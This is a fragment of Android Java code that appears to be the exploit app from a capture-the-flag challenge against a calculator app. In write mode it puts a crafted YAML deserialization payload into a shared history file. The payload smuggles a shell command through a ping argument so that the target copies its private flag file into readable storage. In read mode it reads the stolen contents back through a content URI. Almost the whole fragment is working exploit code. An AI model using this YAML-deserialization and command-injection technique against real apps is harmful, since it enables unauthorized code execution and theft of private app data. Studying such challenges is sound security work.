Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
Uri historyUri = intent.getData();
boolean isReadMode = intent.getBooleanExtra("read_mode", false);
if (isReadMode) {
// 读取模式:从history.yml读取flag
Log.d(TAG, "Read mode: Reading flag from history.yml");
try (InputStream is = getContentResolver().openInputStream(historyUri);
BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8))) {
StringBuilder flagContent = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
flagContent.append(line);
}
String flag = flagContent.toString();
Log.d(TAG, "SUCCESS! Flag captured: " + flag);
Toast.makeText(this, "Flag captured! Check Logcat.", Toast.LENGTH_LONG).show();
MainActivity.flag = flag;
} catch (Exception e) {
Log.e(TAG, "Failed to read from history.yml", e);
Toast.makeText(this, "Failed to read flag: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
} else {
// 写入模式:写入恶意YAML到history.yml
Log.d(TAG, "Write mode: Writing malicious YAML to history.yml");
// 构造恶意YAML,使用PingUtil执行命令将flag写入history.yml
String maliciousYaml = "!!com.qinquang.calc.PingUtil [ '8.8.8.8; cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml' ]";
try (OutputStream os = getContentResolver().openOutputStream(historyUri)) {
if (os != null) {
os.write(maliciousYaml.getBytes(StandardCharsets.UTF_8));
Log.d(TAG, "Successfully wrote malicious YAML to history.yml");
Toast.makeText(this, "Payload written successfully", Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
Log.e(TAG, "Failed to write to history.yml", e);
Toast.makeText(this, "Failed to write payload: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
}
}